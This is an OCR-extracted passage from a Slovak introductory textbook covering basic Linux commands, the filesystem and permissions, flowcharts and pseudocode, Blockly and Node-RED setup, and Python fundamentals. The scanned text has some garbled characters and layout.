Takto programator v aplikacii zavola napriklad funkciu ap_connect(192.168.1.1) a systémova kniznica
sa postara o kompletny proces pripojenia zariadenia k access-pointu.

Operacny systém znacne zjednodusuje nasadenie novej funkcionality do zariadeni, kedZe napriklad
o riadenie a spracovanie sietového pripojenia a komunikacie po sieti sa staraji moduly, kniznice i
daemoni daného systému.

3.2.2 Linuxové prikazy

Operacny systém v zakladnej instalacii obsahuje niekolko tisic nastrojov, ktoré poskytuju jednotlivé
sluzby. Z pohladu zakladného pouzitia je dobré poznat niekolko prikazov, ktoré sa pouzivaju
najcastejsie.

ZAPAMATAIJTE SI!

Prikazy v opera¢nom systéme Linux su citlivé na velkost znakov (case sensitive).

73



sudo

nano

apt

ifconfig

pwd

Prikaz pre elevaciu pristupovych prav. Niektoré prikazy i spustenie aplikacii je
obmedzené pre beznych pouzivatelov. Hlavhym dévodom je bezpecnost.

Ak potrebujete spustit prikaz s vy$sim opravnenim, staci pred neho napisat
sudo. Ide o nie¢o podobné ako “Spustit ako administrator”, ¢o pozname
z prostredia Windows.

>sudo apt install firefox

Prikaz pre spsutenie textového editoru Nano pre uUpravu suborov. Ako
parameter prikazu je potrebné pouZit nazov konkrétneho stboru. Vtedy sa
subor otvori v editore. Ak sa parameter nepouZuje, bude vytvoreny novy cisty
textovy subor

Ak zadany subor na poZadovanej ceste neexistuje, vytvori sa automaticky
novy.

> nano ./config.txt

Prikaz je vhodny pri Uprave konfiguracnych stdborov priamo v terminalovom
rozhrani. Pre uloZenie konfiguracnych suborov su casto vyZzadované vyssie
opravnenia, preto je potrebné na zadiatok prikazu zadat sudo.

> sudo nano ./config.txt

Prikaz pre instaldciu, aktualizaciu a odstranovanie balikov. VyZzaduje elevéciu
opravneni pre pouzivatela zo skupiny sudo.

> sudo aptupdate

Zistenie IP adresy, ktora bola pridelena sietovému rozhraniu.

> ifconfig

etho Link encap:Ethernet HWaddr fa:16:3e:17:3f:60
inet addr:37.9.171.127 Bcast:37.9.171.255
Mask:255.255.254.0

inet6 addr: fe80::f816:3eff:fel7:3f60/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2507

errors:0 dropped:0 overruns:9 frame:0

TX packets:181

errors:0 dropped:® overruns:0 carrier:0
collisions:0® txqueuelen:1000

RX bytes:271807839 (271.8 MB)

TX bytes:89493944 (89.4 MB)

Zistenie aktudlne otvoreného priecinku. Vystupom je Uplnd cesta. Vhodné
napriklad v situacii, kedy je potrebné zistit, kde sa aktudlne v systéme

74



cd

1s -1

tail -f,
cat,
more,
less,

grep

restart

nachadzame.

> pwd

Prikaz na prechod do poZadovaného priecinku. Napriklad prechod

prieCinku pre webovy server.

> c¢d /var/www/html

Vypis aktudlnych stborov v priecinku.

> 1ls -1 /etc/apache2/

total 84

-rw-r--r-- 1 root

drwxr-xr-x 2 root

drwxr-xr-x 2 root

-rw-r--r-- 1 root

-rw-r--r-- 1 root

root

root

root

root

root

7114 Feb

4096 Feb

4096 Feb

1782 Mar

31063 Mar

3 02:00

3 01:10

3 01:10

19 2016

19 2016

apache2.conf
conf-available
conf-enabled
envvars

magic

do

Vypis obsahu textovych siborov (nie binarnych). Vhodné pre rychly nahlad do

obsahu suboru, skriptu, ¢i konfiguracie.

Filtrovanie vystupu - ndjdenie riadku, ktory obsahuje konkrétne znaky.

> cat apache2.conf | grep Log

# HostnameLookups: Log the names of clients or just their IP

addresses

# ErrorLog: The location of the error log file.

# If you do not

a <VirtualHost>

specify an

ErrorLog directive

ErrorLog ${APACHE_LOG_DIR}/error.log

within

# LogLevel: Control the severity of messages logged to the

error_log.

# "LogLevel info ssl:warn”

LogLevel warn

Restartovanie alebo vypnutie operacného systému.
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shutdown

Restartovanie sluzby. Pri Uprave konfiguracie systémovych sluzieb a aplikacii je
systemctl , Y . . v . ,
Casto potrebné restartovanie daemona, aby si nacital novud (upravenu)

konfiguraciu.

> sudo systemctl start apache2.service
> sudo systemctl stop apache2.service
> sudo systemctl restart apache2.service

TIP!

V pripade problémov, alebo potreby dalsich prikazov je vhodné pouzit vstavani dokumentaciu
dostupnl cez prikazy man, howto,alternativhe pouzit vyhladavanie na webe. Najlepsie je
vyhladavat anglické znenie problému. Napriklad:

Ukoncenie procesu linux -> Kill task linux.
Zmena IP adresy linux -> Change IP address linux.

Takéto vyhladavanie ma vyhodu v tom, Ze na férach (napriklad StackOverflow) je mozné najst
pomerne detailne vysvetlené pouZitie jednotlivych prikazov, ¢asto aj ich vyhody ¢i nevyhody
oproti inym prikazom.

FAE AR RENRNERERNRENERNENERNENRNENRNENRNNERRENF NNERHEH
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEESR

3.2.3 Suborovy systém

Suborovy systém je sada pravidiel pre ukladanie suborov a prieCinkov na pevny disk tak, aby bolo
mozné ich opat preditat. Byva v iom vymedzené napriklad:

kde na pevnom disku sa dany stbor nachadza,
aky ma nazov,

v akom je priecinku,

aké ma pristupové prava.

Suborové systémy existuju na pevnych diskoch v oblasti definovanej ako tzv. diskovy oddiel. Tychto
oddielov mdéze mat pevny disk viac. Prenosné média (CD, DVD, USB klt¢) obsahuju spravidla len
jediny suborovy systém, nie su ¢lenené na oddiely.

Na systémoch UNIX su suborové systémy na oddieloch pevnych diskov aj na inych zariadeniach
pripajané dopriecCinkov. Zaklad tvori korenovy suborovy systém, ktory sa pripoji na korenovy
prie¢inok ado jeho S$truktiry sa potom zapustaju (pripdjaju) dalSie suborové systémy podla
poziadaviek pouzivatela. Pripajanie suborovych systémov modze prebiehat automaticky (napr. po
vloZeni média), alebo mdze byt vyzadované vykonat manualne pripojenia.

V unixovych systémoch plati, Ze vSetko je subor. Na rozdiel od inych systémov, nerozdeluje Linux
nazov suboru na mena a priponu. Pripona, ak je, je jednoducho sucastou mena suboru. Unixové
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systémy tiez rozliSuju velké a malé pismena v nazvoch suborov.TakZe subor s menom "novak" je
nieco iné ako subor "Novak".

Subor (adresar) s menom zacinajlucim bodkou je povaZzovany za skryty subor, na ¢o reaguju prislusné
programy tak, Ze ho nezobrazia. Na zobrazenie takych sdborov je spravidla nutné pouzit adekvatnu
volbu v nastaveni prislusného programu.

Unixové operacné systému rozliSuju nasledujice typy suborov:

obycajny subor,

prieCinok - typ suboru, ktory obsahuje odkazy na iné stbory,

symbolicky a pevny odkaz - odkaz na iny subor v siborovom systéme,

znakové a blokové zariadenie — Specidlny subor pre komunikaciu medzi jadrom systému
a diskami (blokovymi zariadeniami - CD, HDD, FDD), alebo vstupno-vystupnymi zariadeniami
ako mys a klavesnica (znakové zariadenia),

pomenovana rura (named pipe) — kanal pre vymenu informacii medzi procesmi,

soket — uréeny pre sietové spojenia.

Priecinkova Struktuara

PriecCinkova Struktura zacina korenovym priecinkom (tzv. root), ktory sa oznacuje normalnou lomkou
(/). Do koreriového prie¢inku st vnorené dalsie Urovne, ktoré maju vyhradeny Géel. Vizualny nahlad
na Strukturu je vyobrazeny na obrazku 3.5.

root

L)

| | | | | | |
(min) | (moot) | (rdew] [ﬁtﬂ (momer] | (nibr] | (/mediar] | (mnv]

Lopv]  (roov]  [ssbint)

[/srv/] [ ftmp/ ] Ivar/

(oins ) (includer] [ nibr | (/sbin] (1cacher) (n0g/]  (1spootr) (mpr]

Obrazok 3.5 - Prie€inkova Struktura OS Linux

Zdroj [13]

/bin— Nenahraditelné spustitelné subory vyuZivané vsetkymi pouZivatelmi. Ndjdeme tu
okrem iného interpreter prikazového riadku (shell) a zakladné riadkové néstroje pre pracu so
systémom.
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/boot—Priedinok, ktory obsahuje subory suvisiace so spustenim (bootovacim procesom)
operacného systému. Nachdadzaju sa tu napriklad aj obrazy jadier systému, ich konfiguracia,
obraz ramdisk-u, ale taktiez konfiguracia zavadzaca systému (tzv. bootloader-a).

/dev — Subory zariadeni, teda $pecidlne subory, ktoré reprezentuju jednotlivé zariadenia.

/etc— Konfiguracné subory, presnejsie struktira konfiguraénych stborov. V podadresari init.d
(v niektorych distribdciach je to rc.d) sa ukryvaju skripty potrebné pre spustanie a vypinanie
systémovych sluzieb (v unixovych systémoch sa im hovori démoni).

/home— Domovské adresére uZivatelov. Podadresar s vasim pouZivatelskym menom je vase
Uzemie, kde mozZete vykonavat skoro ¢okolvek.

[lib— Tie najdéleZitejSie kniZnice potrebné pre beh systému. V podadresari modules sa
nachadza modul jadra.

/media, /mnt—Priecinok, kde byvaju pripojené média (CD, DVD, flash disky, diskety) a dalsie
diskové oddiely.

/proc— Specidlne subory, ktoré tvoria komunikaéné rozhranie sjadrom. Tu sa moZete
dozvediet mnohé o ¢innosti jadra avhodnymi zmenami prislusnych suborov modzete
upravovat jeho funkciu.

Jopt —Priecinok vhodny pre instalaciu softvéru, ktory nie je pdvodne vytvoreny pre unixové
systémy a nevie vyuzivat jeho Strukturu.

/root — Domovsky priecinokpouZivatela root.
/sbin — Nenahraditelné spustitelné sibory uréené vyhradne pre uZivatelov root.

Jusr — Tzv. sekundarne hierarchie, obsahuji okrem iného podpriec¢inky ako:bin, sbin, lib
a dalsie, ktoré sa nachadzaju v korefiovom priecinku. Tieto ale nie su nutné prefungovanie
systému. Su v nich uloZené pouzivatelské programy. Podpriecinoklocal slizi ako priestor na
instaldciu softvéru mimo hlavny bali¢kovaci systém. Podpriecinok share obsahuje spravidla
datové subory aplikacii. Podpredinok share/doc alebo /doc obsahuju dodatoc¢nd
dokumentaciu k jednotlivym programom.

Jvar— Premenlivé subory, ktorych obsah sa meni. Tu je potrebné zabezpedit, aby vidy bolo
k dispozicii volné miesto na disku. Bez toho nebude systém fungovat spravne. Napriklad
podpriecinok log obsahuje zaznamy systémovych protokolov - subory s informaciami o tom,
¢o sa v systéme udialo pocas poslednej doby. Velmi cenny informacny zdroj pri diagnostike
problémov.

/tmp— Docasné subory. Rovnako ako v pripade priecinku /var aj tu je nutné zaistit dostatok
volného priestoru. Ak nebude volné miesto k dispozicii, systém prestane fungovat spravne.
Subory uloZené vtomto adresari sa neodporuca mazat pocas behu systému.Aj docasné
subory, mézu mat pre prave spustené programy klucovy vyznam.
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3.2.4 Pristupoveé prava

V systéme Linux sa vacsina objektov povaZuje za subory. Pre zaistenie bezpecnosti systému Linux
pouziva opravnenia k siborom. To znamen3, Ze kazdy subor v systéme Linux nesie svoje opravnenia
na subor, ktoré definuji, ¢o méze so suborom robit vlastnik (user), skupina (group) a dalsi (others).
Zakladné pristupové prava, ktoré sa daju v systéme nastavit:

read(Citanie),
write, (zapis)
execute (spustanie).

Orientacia v pristupovych pravach je délezita. Obzvlast kvoli nasledujicim situaciam: Vytvorite skript,
ktory chcete spustit cez webovy prehliadaé. Otvorite prehliada¢, nacitate cielovd adresu skriptu
a skript sa nespusti. Problém je pravdepodobne v pristupovych pravach. Subor sme vytvorili ako
pouzivatel janko. Aby mohol skript spustit aj webovy server, potrebuje mat pridelené pristupové
prava pre spustanie (x - execute). Webovy server pristupuje k siborom ako pouzivatel www-data zo
skupiny www-data. K dispozicii su 2 rieSenia:

1) Pridelit pouZivatelovi www-data vlastnictvo stuboru, ¢im ziska kontrolu nad stiborom.
2) Pridelit ostatnym pouzivatelom (other) opravnenie spustat skript.

Pozrime si detailne vystup prikazu 1s -1 niZSie:

> 1s -1 moj_skript.py

-rwxrw-r-- 1 janko admin 1108485 Feb 14 7:34 moj_skript.py

Vystup uvedeny vyssie poskytuje vela uzito¢nych informacii o sibore moj_skript.py.

-PWXrw-r-- Suborové povolenia sa vidy zobrazuju v trojici, kde zobrazuju
informacie o pravach pre :

c¢itanie (r),
zapis (w),
spustanie (x).

Ak niektory znak chyba a je nahradeny znakom “-”, znamena to, Ze
prava nie su pridelené (su teda zamietnuté).

Trojica prav rwx sa zobrazuje pre tri identity:

pouzivatel (user) - autor suboru,

skupina (group) - skupina pouzivatelov,

ostatni (other) - wvSetci ostatni mimo definovaného
pouzivatela a skupiny.
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1 Pocet pevnych odkazov na subor a nie je doleZity pre rozsah tohto
kurzu.

janko admin Pouzivatel (janko) a skupina (admin), ktori vlastnia stbor. V takomto
pripade pouzZivatelska skupina avsSetci jej clenovia maju urcitd
uroven vlastnictva nad suborom.

1108485 Velkost suboru v bajtoch.
Feb 14 7:34 Datum a cas poslednej Upravy.
moj_skript.py Nazov stboru.

Casto je vyzadovana zmena pristupovych prav (odobratie, pridanie, zmena vlastnictva). Pre tieto
ulohy sa pouZivaju nastroje chmod a chown.

Pristupové prdva suborov su pomerne dolezity koncept pre systém Linux. Prostrednictvom
suborovych opravneni, systém definuje svoju bezpecénostnu politiku. Bezny pouzivatel by nemal byt
schopny upravit konfiguracie a obsah sdborov, ktoré mu nepatria. V désledku tejto funkcionality je
pri zmene nastaveni, mazani, kopirovani, ukladani alebo spustani niektorych sluzieb a skriptov
vyzadované opravnenie super uzivatel (tzv. root), pripadne byt ¢lenom skupiny sudo-ers.

3.2.5 Vzdialené pripojenie

Pri Linuxovych systémoch sa casto stretdvame s potrebou vzdialeného pripojenia. S pomocou
vzdialeného pripojenia sa dokdzeme pripojit a ovladat systém vzdialene, ¢i uz z druhého konca
kancelarie, alebo na opac¢nom konci sveta.

Pre komunikaciu so vzdialenym systémom sa casto vyuZiva emuldcia termindlu. Medzi dve
najcastejsie protokoly patria:

o telnet - softvér pouZivany na interakciu vsieti s pocitatovym systémom. Komunikdcia
prebieha nezabezpecnou formou.

o ssh - bezpecny shell, ¢asto pouzivany so vzdialenymi aplikdciami, kde sa prendsaju citlivé
informacie ako napriklad hesla.

3.3 Vyvojovy diagram a pseudokod

Pred napisanim akéhokolvek kédu programdator potrebuje porozumiet problému aako sa tento
problém da vyriesit tym, Ze ho rozdeli do postupnosti krokov a rozhodnuti.

Programatori bezne nevytvaraju prvy navrh programu v Ziadnom Specifickom jazyku. Tieto jazykovo
nezavislé programy su zamerané skoér na logiku, neZ na syntax acasto sa nazyvaju algoritmy.
Vyvojovy diagram je bezny spdsob, ako reprezentovat a pochopit algoritmus. Takyto pristup sa riesi
s pomocou vyvojovych diagramov a pseudokddu.
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Vyvojovy diagram

Vyvojové diagramy sa pouZivaju pri navrhovani a dokumentovani jednoduchych procesov alebo
programov. Podobne, ako iné typy diagramov, pomahaju vizualizovat to, ¢o sa deje, a tym pomahaju
porozumiet procesu, v ktorom mozno najdu nedostatky, ¢ize miesta, kde vznikaju najcastejsie chyby
a problémy. Existuje mnoho réznych typov vyvojovych diagramov akazdy typ ma svoj vlastny
repertoar schematickych znaciek.

Dve najbezZnejsie znacky vo vyvojovom diagrame su:

obdiZnik - krok programu, vykonanie operécie .
kosostvorec - rozhodovacie podmienky.

Lampa nefunguje

Je lampa

zapojena? Pripojit lampu

Je Ziarovka
vypalena?

Vymenit Ziarovku

Opravit lampu

Obrazok 3.6 - Vyvojovy diagram diagnostiky problému

Zdroj [5]

Blokova schéma poskytuje rychly a vysokouroviovy pohlad na systém, ktory rychlo identifikuje body
zaujmu alebo problémy. Vzhladom na svoju perspektivu na vysokej trovni, nemusi ponuknut Groven
podrobnosti potrebnu na komplexnejsie planovanie alebo implementaciu. Blokovy diagram nezobrazi
vsetky kable ¢i datové toky aich podrobnu implementaciu. To je uloha schémy zapojenia, i
softvérovej dokumenticie.

Blokovy diagram: najlepsie postupy

1. Identifikujte ciefovy systém alebo aplikaciu. Urcite systém alebo aplikaciu, ktory sa ma
zobrazit s pomocou diagramu. Definujte komponenty, vstupy avystupy systému alebo
aplikacie.
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2. Vytvorte a oznacte Casti diagramu. Pridajte symbol pre kazdu sucast systému a pripojte ich
pomocou Sipok na oznacenie toku. Oznacte kazdy blok tak, aby bol lahko identifikovatelny.

3. Oznacte vstup a vystup. Oznacte vstup, ktory aktivuje blok a vystup, ktory ukonci blok.

4. Overte presnost vocli pozadovanej funkcionalite. Konzultujte to so vSetkymi ztGcastnenymi
stranami, aby ste overili presnost.

Pseudokod

Pseudokdd je neformalny zapis fungovania pocitacového programu. VyuZiva konvencie bezného
programovacieho jazyka, ale je urceny pre Citanie ¢lovekom.

Pseudokdd zvycajne vynechava detaily, ktoré su dolezité pre pochopenie algoritmu strojom, ako su
deklaracie premennych, kod Specificky pre systém, volania kniznic a podobne.

U¢elom poufzitia pseudokddu je to, Ze je pre ludi jednoduchsie pochopit text napisany hovorenou
reCou. Takyto kdéd je pomerne efektivny pre vysvetlovanie a navrh zdkladnej funkcionality aplikacie je
nezavisly na vyvojovom prostredi.

BeZne sa pouziva v ucebniciach a vedeckych publikaciach, ktoré dokumentuju rézne algoritmy a tiez
pri planovani vyvoja pocitacovych programov, pre prvotny navrh Struktury programu pred skutoc¢nym
koédovanim.

Najcastejsie sa objavuje tychto pat komponentov:

premenna
priradenie
vstup/vystup
podmienky
opakovanie

Premennd mda ndzov, typ Udajov ahodnotu. Vpamiti je vyhradené miesto pre kazdu
premennU.V praxi sa overilo pouzivat nazvy premennych, ktoré su relevantné pre konkrétnu tlohu.

Priradenie je Ukon umiestnenia hodnoty do premennej. To sa mdze zobrazit formou zapisu:

set

55

set

num + set;

Na lave] strane je nazov premennej, v ktorej sa uklada hodnota a na pravej strane je hodnota. Ked' je
do premennej priradend hodnota, stard hodnota sa prepiSe novou hodnotou, takZe stara hodnota je
nendvratne stratena.

Vstup / vystup sa zaoberad externym zdrojom (mbzZe to byt pouZivatel alebo iny program), ktory
prijima alebo poskytuje informacie.

Priklady vstupov a vystupov:

vystup - Zapisovanie / zobrazenie / tlac
vstup - Citanie / ziskanie / zadanie
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Podmienky umoznuju vyber medzi vykonanim akcie alebo preskocenim akcie. SU to podmienené
vyhlasenia, ktoré si definuje progamator aplikacie.Podmienky su napisané takto:

IF (podmienené vyhlasenie)
...zoznam akcii...
ELSE

...zoznam akcii...

Opakovanie je konstrukcia, ktord umoziuje niekolkokrat vykonat instrukcie. Pri pouZivani opakovani
sa objavuje niekolko problémov:

pociato¢na hodnota - akd hodnota premennej alebo pocitadla je pri prvom opakovani.
testovanie - kedy a ako sa testuje premenna alebo pocitadlo.
inkrementdcia - pocitadlo opakovani.

Priklad pseudokddu:
void function fizzbuzz {
for (i = 1; i <= 100; i++) {
set print_number to true;
If i is divisible by 3 {
print "Fizz";
set print_number to false; }
If i is divisible by 5 {
print "Buzz";
set print_number to false; }
If print_number, print i;

print a newline;

3.4 Vizualne programovanie

Vstup do oblasti vyvoja softvérovych rieseni je dnes omnoho jednoduchsi, neZz tomu bolo pred 10 i
20 rokmi. Cena hardvérovych zariadeni a vyvojového prostredia (IDE) sa vyrazne znizila. Taktiez
mnozstvo vzdelavacich materidlov a ich kvalita sa neustdle zvysSuje. Dalo by sa povedat, Ze vyvojarom
softvérovych rieseni sa dnes moze stat takmer ktokolvek, kto ma zaujem.
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Blockly

Pre ulahcenie prvého vstupu do oblasti programovania, bol pre zaciato¢nikov vytvoreny nastroj
s nazvom Blockly, ktory vytvorila spolo¢nost Google v spolupraci s univerzitou MIT. Blockly je vizualny
programovaci nastroj navrhnuty tak, aby pomohol zaciatoénikom pochopit pojmy a koncepty
programovania. PouZitim viacerych typov blokov Blockly umoziiuje pouZivatelovi vytvorit program
bez vytvorenia jediného riadku kddu.

Logic (B Count - L]

Loops = while - I8 { Count - J(< - 13
4 Hello World! 12
pcout - LR coun - )~ 11

Language: Python v

Count = None

Math
Text
Lists _
Color

Count = 1

while Count <= 3:
print ('Hello World!')
Count = Count + 1

Variables
Functions

Obrazok 3.7 - Vizualny programovaci jazyk Blockly.

Zdroj [14]

V prostredi Blockly je mozné vytvorit vsetky potrebné casti kddu, ktoré sa pouzivaju pri seriéznom
vyvoji komercénych a open-source rieSeni. Kdispozicii si napriklad premenné, cykly, funkcie,
podmienky. Velmi zaujimavou funkciou je prekladac vizualneho kédu do ¢asto pouZivanych jazykov,
ako JavaScript alebo Python.

Blockly je 100% klientsky nastroj, ktory nevyZaduje zZiadnu podporu zo servera (pokial sa nevyuZiva
cloudové uloZisko). Nastroj nema Ziadne zavislosti na nastrojoch tretich stran (v pripade potreby

rekompildcie jadra operacného systému). Google, ako autor produktu, ponuka na Git Hubekompletny
pristup k zdrojovym suborom.

Instaldcia Blockly

Postup instalacie off-lineprostredia Blockly na lokalny pocitac:

1) Stiahnite si ZIP archiv z GitHubu: https://github.com/google/blockly/zipball/master.
2) Archiv rozbalte do web server adresara, ktory spristupni webové rozhranie:
a. v pripade xampp (Windows) je to htdocs,
b. prelamp (Linux) je to /var/www/html/.
3) Otvorte subor na ceste:
4) Alternativou je otvorenie HTML suboru demos/generator/index.html cez Windows
prieskumnik. Tymto sa otvori v prehliadaci prvy demo subor.
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| Show JavaScript || Run JavaScript |

’
1.8 Don't panic 12

o
else | print = ¢¢ »

Obrazok 3.8 - Demo kaéd v Blockly jazyku

Zdroj [14]

Dalie detaily k jazyku Blockly, hotové rie$enia, navody a online editor su k dispozicii na strankach
projektu:

Node-RED

Pre vyvoj komplexnych loT rieSeni je na trhu k dispozicii aj open-source vizualno-programovaci
nastroj Node-RED (https://nodered.org/). Tento nastroj pochadza z dielne spolocnosti IBM, ktora sa
aktivne podiela na vyvoji loT infrastruktury a loT Standardov. Jeho velkou vyhodou je, Ze funguje vo
webovom prehliadadi.

Node-RED je mozné nainstalovat na:

lokalny pocitac,

doskovy pocitac typu Raspberry Pi,
android zariadenie,

do cloudu (napriklad Amazon, Google).

Zakladnym predpokladom funkénosti celého systému je mat nainstalované Node JS 8.x LTS.

Proces instalacie pre OS Linux
1. Spustite terminal a zadajte nasledujtce prikazy.

2. Instalacia Node-JS prostredia.
sudo apt install nodejs-legacy

3. Instalacia npm balickovacieho systému.
sudo apt install npm

4. Instalacia Node-RED.
sudo npm install -g --unsafe-perm node-red node-red-admin

5. Povolenie predvoleného Nore-RED portu 1880 na Linuxovom firewalle.
sudo ufw allow 1880
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6. Spustenie Node-RED.
node-red

7. Otvorte prehliadac a zadajte novu adresu: http://localhost:1880. K Node-RED je mozné teraz
ziskat aj vzdialeny pristup. Stac¢i poznat IP adresu zariadenia, kde je Node-RED nainstalovany.
Nova URL adresa pre vzdialeny pristup by mala napriklad tvar: http://192.168.1.100:1880

=<, Node-RED

Q Flow 1 + info debug

v input

inject
catch

status
link
maqtt
http

websocket

tcp
udp

serial

v output

Obrazok 3.9 - Node-RED hlavné rozhranie

Zdroj [15]
Automatické spustenie

V pripade, Ze potrebujete zaistit aby sa Node-RED spustil automaticky po kazdom restarte systému,
pripadne po pade sluzby, musite ho zaregistrovat do systemd daemona.

Automatické spustenie je velmi uZito¢nad vlastnost v pripade loT rieSeni, pretoZe neocakavané

situacie ako vypadok napatia, vyCerpanie pamate, pripadne DDoS utok na zariadenie su pomerne
lahko realizovatelné a velmi pravdepodobné.

1. Vytvorte novy subor cez nano editor.
sudo nano /etc/systemd/system/node-red.service

2. Do nového suboru vlozte konfiguraciu:
[Unit]
Description=Node-RED

After=syslog.target network.target

[Service]
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ExecStart=/usr/local/bin/node-red-pi --max-old-space-size=128 -v
Restart=on-failure

KillSignal=SIGINT

# log output to syslog as 'node-red’
SyslogIdentifier=node-red

StandardOutput=syslog

# non-root user to run as
WorkingDirectory=/home/UTILISATEUR/
User=UTILISATEUR

Group=UTILISATEUR

[Install]

WantedBy=multi-user.target

3. Zaregistrujte subor cez systemd daemon.
sudo systemctl enable node-red

4. Zastavte manualne spustenu instanciu aplikacie Node-RED.
node-red-stop

5. Spustite Node-RED ako sluzbu cez systemd.
sudo systemctl start node-red

3.5 Textové programovanie

Vizudlne programovanie bolo predstavené ako alternativny pristup, ktory zjednodusuje
zaCiatocnikom programatorom vstup do sveta programovania. BeZzne sa pouZivaju rozhrania, kde sa
funkcny kod definuje s pomocou textovych prikazov.

Python

Python je interpretovany programovaci jazyk uréeny pre vSeobecné programovanie. Namiesto toho,
aby bola vsetka jeho funkcénost postavend na jadre, Python bol navrhnuty tak, aby bol vysoko
modularny. K dispozicii je niekolko stoviek modulov, ktoré z neho robia rozsiritelny jazyk pre potreby
akéhokolvek projektu. Tato kompaktnd modularnost robi Python obzvlast popularnym. DoleZitym
ciefom autorov jazyka Python je zachovanie zabavy pocas tvorby aplikacii. To sa odzrkadluje aj
v nazve jazyka - podla britskej komedialnej skupiny Monty Python.

Python prostredie
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Python je interpretovany jazyk, ktory sa dodava ako bezna sucast mnohych operaénych systémov
Linux. Obrovskou vyhodou interpretovanych jazykov je moznost pisat zdrojovy kod v lubovolnom
textovom editore. Kéd je nasledne spusteny prekladacom, ktory kéd interpretuje. Nie je vyZzadovany
Ziaden kompilator, ako je tomu v pripade kompilovanych jazykov typu C, Java.

Overit, Ze Python prostredie je nainstalované, je mozné s pouzitim nasledujtcich prikazov:
> whereis python

python: /usr/bin/python2.7 /usr/bin/python3.5 /usr/bin/python3.5m
/usr/bin/python /usr/lib/python2.7 /usr/lib/python3.5 /etc/python2.7
/etc/python3.5 /etc/python /usr/local/lib/python2.7 /usr/local/lib/python3.5
/usr/include/python3.5m /usr/share/python /usr/share/man/manl/python.1l.gz

Zobrazeny vystup urcuje cesty k adresarom v systéme, kde su nainstalované Python kniZnice. Pokial
sme obdfzali podobny vystup, mbézeme spustit Python shell, v ktorom sa daju interpretovat prikazy.
V sucasnosti sU najrozsirenejsie dve verzie - Python 2.7 a Python 3. Vzhladom na bliZiaci sa koniec
podpory Python verzie 2.7 sa budeme v knihe dalej odkazovat na Python verzie 3.

> python3
Python 3.5.2 (default, Nov 23 2017, 16:37:01)
[GCC 5.4.0 20160609] on linux

Type "help", "copyright", "credits"” or "license" for more information.

TIP!

Pre zaciatocnikov a pokrocilych je k dispozicii predpripravené prostredie Python a R, s nazvom

= Anaconda (https://www.anaconda.com/download/). Systém Anaconda ma taktiez velké
mnozstvo doplnkovych kniznic a modulov, ktoré rozsSiruju funkcionalitu prostredia. Napriklad
o moduly OpenCV urcené pre vyvoj aplikacii zaloZzenych na pocitacovom videni.

3.6 Zaklady programovania

Pre pisanie pocitacovych programov je predpokladom znalost anglického jazyka, ktory je vSseobecne
rozsirenym jazykovym rozhranim.

Podobne ako kazdy jazyk ma zavedend gramatiku, ktord je potrebné dodrziavat, aby sme spravne
komunikovali, aj vac¢Sina programovacich jazykov ma vlastna ,,gramatiku®.

Medzi zakladné prvky programovacich jazykov patria:

prostredie programovania,
zakladna syntax,

datové typy,

premenné,

klfacové slova,
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zakladné operatory,

rozhodovacie podmienky,

slucky (cykly),

polia,

funkcie,

praca so stibormi,

nacitavania vstupov a vystupov (oznacované aj 1/0).

O niektorych z tychto zakladnych elementov si povieme na nasledujicich stranach. Vzhladom na
komplexnost problematiky programovania aplikacii, bude popis zamerany len na niekolko zakladnych
znalosti. Pre Ucely jednoduchosti a rychlosti pochopenia bude pouZity jazyk Python a Blockly.

3.6.1 Premenné a konstanty

Premenna je virtudlne miesto v pamati, ktoré slUZi pre docasné uloZenie hodnoty, ktora sa mbze
pocas behu programu zmenit. Jednoducho povedané, premenna je len policko, do ktorého mézete
vloZit informacie. Premenné mdzete pouzit na ukladanie réznych druhov informacii - text, Cisla,
odkazy, a tak podobne.

Konstanta je to isté, ako premennd sjedinym rozdielom, Ze jej hodnoty sa nastavia pri prvom
spusteni programu a nasledne su pocas celej doby nemenné.

Kazda premenna alebo konstanta by mala mat vhodne zvoleny datovy typ. Python podporuje tieto
datové typy:

numbers - Ciselné hodnoty,

I
=

varl

var2 10

string - textové retazce,

str = 'Hello World!'

list- zoznam, kde su prvky uzatvorené v hranatych zatvorkach, oddelené ciarkou,

list = [ 'abcd', 786 , 2.23, 'john', 70.2 ]

tuple - podobny typ ako zoznam (list). Rozdiel je v nemoznosti zmeny jeho obsahu. Tuple je
n-tica, definovana na zaciatku, ktorej obsah nemdze byt zmeneny pocdas behu programu.

tuple = ( 'abed', 786 , 2.23, 'john', 70.2 )

dictionary - slovnik, ktory predstavuje parové prepojenie premennych a ich hodn6t:

dict = {}
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dict['one'] "This is one"

dict[2] "This is two"

tinydict = {'name’': 'john','code':6734, 'dept': 'sales'}

Priradenie hodn6t k premennym je v Pythone pomerne jednoduché. Relativnou vyhodou v porovnani
s kompilovanymi jazykmi typu C alebo Java, je automaticka identifikacia datového typu. Programator
nemusi definovat aky datovy typ pozaduje. Staci priradit hodnotu kpremennej a prekladac
automaticky vyberie vhodny datovy typ.

>>>question = "How old are you?" # textovy retazec
>>>changing = 3 # Ciselna hodnota
>»»a=b=c=1 # viacndsobné priradenie

>>>list = ["'abcd',786, 'john',70.2] #mozna zmena prvkov zoznamu

>>>tuple = ( 'abcd', 786 , 2.23, 'john', 70.2 ) #nemenny zoznam

3.6.2 Vstupy a vystupy

V programoch je Cdasto potrebné naditat hodnoty zadané pouzivatelom aplikacie alebo
z konfiguraéného suboru. Dalsi velmi ¢asty pripad je vypis hodnot na obrazovku alebo zapis do
suboru. Po otvoreni Python shell sa na obrazovke objavi retazec >>>, ktory hovori o tom, Ze shell ¢aka
na vstup od pouzivatela.

Textovy retazec

Nacitanie pouzivatelského vstupu a vloZenie do premennej name:
>>>name = input('What is your name?')

Vypis premennej na obrazovku terminalového okna:
>>>print('Hello, ' + name)

Subory

V niektorych pripadoch je Ziaduce naéitavat subory ako vstup. Citanie stiboru a vloZenie obsahu do
premennej f:

>>>f = open('test.txt’', 'r'")
Vypis nacitaného obsahu po riadkoch:
>>>with open('test.txt') as f:
>>>for line in f:

>>> print(line)

>>>f.close()
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Zapis do suboru:

>>>filel = open("TestFile.txt","w")
>>>for i in range(1,10+1):

>>> print(i, file=filel)

>>>filel.close()

3.6.3 Vetvenie programu

Podmienkova Struktura IF-ELSE sa pouziva na to, aby kéd dokéazal prijimat rozhodnutia. Po overeni
pravdivosti podmienky, program preskoci na zodpovedajlcej sekcie. To znamena, Ze ak testovana
podmienka je pravdiva, vykona sa blok kédu IF. V opaénom pripade sa vykona kéd bloku ELSE. Ak sa
